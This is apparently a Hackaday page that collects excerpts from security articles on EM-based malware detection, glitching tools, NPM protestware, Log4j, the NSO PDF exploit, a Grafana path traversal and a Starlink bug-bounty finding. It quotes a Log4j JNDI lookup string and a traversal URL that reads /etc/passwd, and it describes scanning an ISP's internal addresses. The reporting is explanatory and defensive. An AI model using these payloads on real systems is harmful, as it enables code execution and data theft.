Identifying Malware By Sniffing Its EM Signature

January 19, 2022 by Tom Nardi 17 Comments

The phrase “extraordinary claims require extraordinary evidence” is most often attributed to Carl Sagan, specifically from his television series Cosmos. Sagan was probably not the first person to put forward such a hypothesis, and the show certainly didn’t claim he was. But that’s the power of TV for you; the term has since come to be known as the “Sagan Standard” and is a handy aphorism that nicely encapsulates the importance of skepticism and critical thinking when dealing with unproven theories.

It also happens to be the first phrase that came to mind when we heard about Obfuscation Revealed: Leveraging Electromagnetic Signals for Obfuscated Malware Classification, a paper presented during the 2021 Annual Computer Security Applications Conference (ACSAC). As described in the mainstream press, the paper detailed a method by which researchers were able to detect viruses and malware running on an Internet of Things (IoT) device simply by listening to the electromagnetic waves being emanated from it. One needed only to pass a probe over a troubled gadget, and the technique could identify what ailed it with near 100% accuracy.

Those certainly sound like extraordinary claims to us. But what about the evidence? Well, it turns out that digging a bit deeper into the story uncovered plenty of it. Not only has the paper been made available for free thanks to the sponsors of the ACSAC, but the team behind it has released all of code and documentation necessary to recreate their findings on GitHub.

Unfortunately we seem to have temporarily misplaced the $10,000 1 GHz Picoscope 6407 USB oscilloscope that their software is written to support, so we’re unable to recreate the experiment in full. If you happen to come across it, please drop us a line. But in the meantime we can still walk through the process and try to separate fact from fiction in classic Sagan style.

Continue reading “Identifying Malware By Sniffing Its EM Signature” →

Glitch Your Way To Reverse-Engineering Glory With The PicoEMP

January 15, 2022 by Dan Maloney 9 Comments

Most of our projects are, to some extent, an exercise in glitch-reduction. Whether they’re self-inflicted software or hardware mistakes, or even if the glitches in question come from sources beyond our control, the whole point of the thing is to get it running smoothly and predictably.

That’s not always the case, though. Sometimes inducing a glitch on purpose can be a useful tool, especially when reverse engineering something. That’s where this low-cost electromagnetic fault injection tool could come in handy. EMFI is a way to disrupt the normal flow of a program running on an embedded system; properly applied and with a fair amount of luck, it can be used to put the system into an exploitable state. The PicoEMP, as [Colin O’Flynn] dubs his EMFI tool, is a somewhat tamer version of his previous ChipSHOUTER tool. PicoEMP focuses on user safety, an important consideration given that its business end can put about 250 volts across its output. Safety features include isolation for the Raspberry Pi Pico that generates the PWM signals for the HV section, a safety enclosure over the HV components, and a switch to discharge the capacitors and prevent unpleasant surprises.

In use, the high-voltage pulse is applied across an injection tip, which is basically a ferrite-core antenna. The tip concentrates the magnetic flux in a small area, which hopefully will cause the intended glitch in the target system. The video below shows the PicoEMP being used to glitch a Bitcoin wallet, as well as some tests on the HV pulse.

If you’re interested in the PicoEMP and glitching in general, be sure to watch out for [Colin]’s 2021 Remoticon talk on the subject. Until that comes out, you might want to look into glitching attacks on a Nintendo DSi and a USB glitch on a Wacom tablet.

Continue reading “Glitch Your Way To Reverse-Engineering Glory With The PicoEMP” →

This Week In Security: NPM Vandalism, Simulating Reboots, And More

January 14, 2022 by Jonathan Bennett 33 Comments

We’ve covered quite a few stories about malware sneaking into NPM and other JavaScript repositories. This is a bit different. This time, a JS programmer vandalized his own packages. It’s not even malware, perhaps we should call it protestware? The two packages, colors and faker are both popular, with a combined weekly download of nearly 23 million. Their author, [Marak] added a breaking update to each of them. These libraries now print a header of LIBERTY LIBERTY LIBERTY, and then either random characters, or very poor ASCII art. It’s been confirmed that this wasn’t an outside attacker, but [Marak] breaking his own projects on purpose. Why?

It seems like this story starts back in late 2020, when [Marak] lost quite a bit in a fire, and had to ask for money on Twitter. Edit: Thanks to commenter [Jack Dansen] for pointing out an important detail that was missing. Marak was charged for reckless endangerment, and was suspected for possible terrorism aspirations, as bomb-making materials were found in his burned-out apartment. Two weeks later, he tweeted that billions were being made off open source devs’ work, citing a FAANG leak. FAANG is a reference to the big five American tech companies: Facebook, Apple, Amazon, Netflix, and Google. The same day, he opened an issue on Github for faker.js, throwing down an ultimatum: “Take this as an opportunity to send me a six figure yearly contract or fork the project and have someone else work on it.”
Continue reading “This Week In Security: NPM Vandalism, Simulating Reboots, And More” →

This Week In Security: Y2K22, Accidentally Blocking 911, And Bug Alert

January 7, 2022 by Jonathan Bennett 45 Comments

If you had the misfortune of running a Microsoft Exchange server this past week, then you don’t need me to tell you about the Y2K22 problem. To catch rest of us up, when Exchange tried to download the first malware definitions update of 2022, the version number of the new definitions triggered a crash in the malware detection engine. The date is represented as the string 2201010001, where the first two digits represent the year. This string gets converted to a signed long integer, which maxes out at 2,147,483,647. The integer overflows, and the result is undefined behavior, crashing the engine. The server fails safe, not processing any messages without a working malware engine, which means that no e-mail gets through. Happy new year!
Continue reading “This Week In Security: Y2K22, Accidentally Blocking 911, And Bug Alert” →

Picture of a monitor with a fake "ransomware" banner on it, and a PC with the ESP32 VGA devboard mounted into it in the foreground

ESP32 Pretends To Be GPU; Gives You A Ransomware Scare

December 30, 2021 by Arya Voronova 27 Comments

Sometimes a piece of hardware meets a prank idea, and that’s how the fun Hackaday articles are born. [AnotherMaker] shows us some harmless entertainment at the expense of an IT enthusiast in your life – programming an ESP32-powered devboard with a VGA output to show an ever-feared “all your files are encrypted” screen on a monitor connected to it. The ASCII text in its 8-bit glory helps sell this prank, making it look exactly like a BIOS-hijacking piece of malware it claims to be; akin to UIs of the past that skilled hackers would whip up in x86 assembly. The devboard’s integration into a PCI card backplate is a cherry on top, a way to seamlessly integrate this into a PC case, making it look not particularly different from an old graphics card. In such a configuration, we don’t doubt that this would be a head-scratcher to a certain kind of an IT department worker.

If you already have someone in mind as a target for this prank, you’re in luck, since [AnotherMaker] has shared his source code, too, and all you need is a ESP32 with a VGA port set up. You can get the same devboard, or you can even solder it all together with an ESP32 breakout and resistors, if you’re on a time or money budget, since the schematics for the LilyGO devboard are public. Not all devboards gets such a fun application, but it’s always fun to see when someone thinks of one – a perfect prank scenario that calls for a very specific devboard.

Wondering how it’s even possible to output VGA from the ESP32? We’ve covered this in the past – like this R&D project done by [bitluni], who then went ahead and expanded on it by connecting six displays at once. If you’ve connected your ESP32 to a VGA port and ran some test sketches, a UI library will help you upgrade your idea into a ready project in no time.

Continue reading “ESP32 Pretends To Be GPU; Gives You A Ransomware Scare” →

Linux For The Paranoid Does The Work For You

December 22, 2021 by Al Williams 42 Comments

We all know that our activity on the Internet is not that hard to track. It just annoys some people more than others. If you are really hardcore, you’ll learn all the ins and outs of networking to help cover your tracks, but what if you don’t want to invest that kind of time? Maybe, as [TechRepublic] suggests, try Kodachi Linux.

You could, of course, start with your own live image. Then when you boot, you could take the following steps:

Randomize your MAC Address
Establish a TOR connection through a VPN
Route all internet traffic through TOR and use DNS encryption
Set up a scheduled task to scramble your MAC address periodically

But that’s what Kodachi does without any real effort on your part.

The distribution is based on Ubuntu, so all the familiar tools are there. There are also a few security and privacy tools included like KeePass, Tox, OnionShare, i2p, and more. The desktop shows a summary of secure network information

Do you need Kodachi? Probably not, if you are a Linux guru. Plus, most people aren’t doing anything that’s that interesting. But if you want to protect your privacy or you are up to something, give Kodachi a try. Then again, if you are that paranoid, maybe that’s just what THEY want you to do. Make your own decisions. You can also check out the video review from [eBuzz Central] below.

Looking for more conventional Linux? Why not Rocky Linux? If you just want a VPN, you can always just use ssh.

Continue reading “Linux For The Paranoid Does The Work For You” →

This Week In Security: Log4j, PDF CPU, And I Hacked Starlink

December 17, 2021 by Jonathan Bennett 35 Comments

The big news this week is Log4j, breaking just a few hours too late to be included in last week’s column. Folks are already asking if this is the most severe vulnerability ever, and it does look like it’s at least in the running. The bug was first discovered by security professionals at Alibaba, who notified Apache of the flaw on November 24th. Cloudflare has pulled their data, and found evidence of the vulnerability in the wild as early as December 1st. These early examples are very sparse and extremely targeted, enough to make me wonder if this wasn’t researchers who were part of the initial disclosure doing further research on the problem. Regardless, on December 9th, a Twitter user tweeted the details of the vulnerability, and security hell broke loose. Nine minutes after the tweet, Cloudflare saw attempted exploit again, and within eight hours, they were dealing with 20,000 exploit attempts per minute.

That’s the timeline, but what’s going on with the exploit, and why is it so bad? First, the vulnerable package is Log4j, a logging library for Java. It allows processes to get log messages where they need to go, but with a bunch of bells and whistles included. One of those features is support for JNDI, a known security problem in Java. A JNDI request can lead to a deserialization attack, where an incoming data stream is maliciously malformed, misbehaving when it is expanded back into an object. It wasn’t intended for those JNDI lookups to be performed across the Internet, but there wasn’t an explicit check for this behavior, so here we are.

The conclusion is that if you can trigger a log write through log4j that includes ${jndi:ldap://example.com/a}, you can run arbitrary code on that machine. Researchers and criminals have already come up with creative ways to manage that, like including the string in a browser-agent, or a first name. Yes, it’s the return of little Bobby Tables.Log4j 2.16.0. 2.15.0 contained a partial fix, but didn’t fully eliminate the problem. An up-to-date Java has also changed a default setting, providing partial mitigation. But we probably haven’t seen the end of this one yet.

NSO and the CPU Emulated in a PDF

Had it been anyone other than Google’s Project Zero telling this story, I would have blown it off as a bad Hollywood plot device. This vulnerability is in the iOS iMessage app, and how it handles .gif files that actually contain PDF data. PDFs are flexible, to put it mildly. One of the possible encoding formats is JBIG2, a black and white compression codec from 2000. Part of the codec is the ability to use boolean operators AND, OR, XOR, and XNOR to represent minor differences between compressed blocks. An integer overflow in the decompression code allows much more memory to be considered valid output for decompression, which means the decompression code can run those BOOLEAN operators on that extra memory.

Now what do you get when you have plenty of memory and those four operators? A Turing complete CPU, of course. Yes, researchers at the NSO Group really built a virtual CPU in a PDF decoding routine, and use that platform to bootstrap their sandbox escape. It’s insane, unbelievable, and brilliant. [Ed Note: Too bad the NSO Group is essentially evil.]

Grafana Path Traversal

The Grafana visualization platform just recently fixed a serious problem, CVE-2021-43798. This vulnerability allows for path traversal via the plugin folders. So for instance, /public/plugins/alertlist/../../../../../../../../etc/passwd would return the passwd file from a Linux server. The updates fixing this issue were released on December 7th. This bug was actually a 0-day for a few days, as it was being discussed on the 3rd publicly, but unknown to the Grafana devs. Check out their postmortem for the details.

Starlink

And finally, I have some original research to cover. You may be familiar with my work covering the Starlink satellite internet system. Part of the impetus for buying and keeping Starlink was to do security research on the platform, and that goal has finally born some fruit — to the tune of a $4,800 bounty. Here’s the story.

I have a nearby friend who also uses Starlink, and on December 7th, we found that we had both been assigned a publicly routable IPv4 address. How does Starlink’s routing work between subscribers? Would traffic sent from my network to his be routed directly on the satellite, or would each packet have to bounce off the satellite, through SpaceX’s ground station, back to the bird, and then finally back to me? Traceroute is a wonderful tool, and it answered the question:

traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets 1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms 2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms 3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms 4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms

We didn’t know exactly what each hop was, but the number of hops and the latency to each makes it fairly clear that our traffic was going through a ground station. But there’s something odd about this traceroute. Did you spot it? 172.16.x.y is a private network, as per RFC1918. The fact that it shows up in a traceroute means that my OpenWRT router and Starlink equipment are successfully routing from my desktop to that address. Now I’ve found this sort of thing before, on a different ISP’s network. Knowing that this could be interesting, I launched nmap and scanned the private IPs that showed up in the traceroute. Bingo.

172.16.248.6 was appropriately locked down, but 172.16.248.21 showed open ports. Namely, ports 179, 9100, 9101, and 50051. Nmap thought 179 was BGP, which sounded about right. But the rest of them? Telnet. I was fairly confident that none of these were actually telnet services, but it’s a great start when trying to identify an unknown service. This was no exception. Ports 9100 and 9101 told me I had made a bad request, throwing error 400s. Ah, they were HTTP services! Pulling both up in a web browser gave me a debug output that appeared to be from a Python Flask server.

That last port, 50051, was interesting. The only service I could find that was normally run there was Google’s gRPC, a Remote Procedure Call protocol. Grpc_cli came in handy to confirm that was what I had found. Unfortunately reflection was disabled, meaning that the service refused to enumerate the commands that it supported. Mapping any commands would require throwing a bunch of data at that port.

At this point, I began to wonder exactly what piece of hardware I was talking to. It did BGP, it was internal to Starlink’s network, and my traffic was routing through it. Could this be a satellite? Probably not, but the Starlink bug bounty is pretty clear about what should come next. Under no circumstances should a researcher do live testing on a satellite or other critical infrastructure. I suspected I was talking to part of their routing infrastructure, probably at the ground station in Dallas. Either way, poking too hard and breaking something was frowned upon, so I wrote up the disclosure on what I had found.

Starlink engineers had the ports closed within twelve hours of the report, and asked me to double-check their triage. Sure enough, while I could still ping the private IPs, no ports were open. Here is where I must credit the guys that run SpaceX’s Starlink bug bounty. They could have called this a simple information disclosure, paid a few hundred dollars, and called it a day. Instead, they took the time to investigate and confirmed that I had indeed discovered an open gRPC port, and then dropped the bombshell that it was an unauthenticated endpoint. The finding netted a $3,800 initial award, plus a bonus $1,000 for a comprehensive report and not crashing their live systems. As my local friend half-jokingly put it, that’s a lot of money for running nmap.

Yes, there was a bit of luck involved, combined with a whole lot of prior experience with network quirks. The main takeaway should be that security research doesn’t always have to be the super complicated vulnerability and exploit development. You don’t have to build a turing-complete system in a PDF. Sometimes it’s just IP and port scanning, combined with persistence and a bit of luck. In fact, if your ISP has a bug bounty program, you might try plugging a Linux machine directly into the modem, and scanning the private IP range. Keep your eyes open. You too just might find something interesting.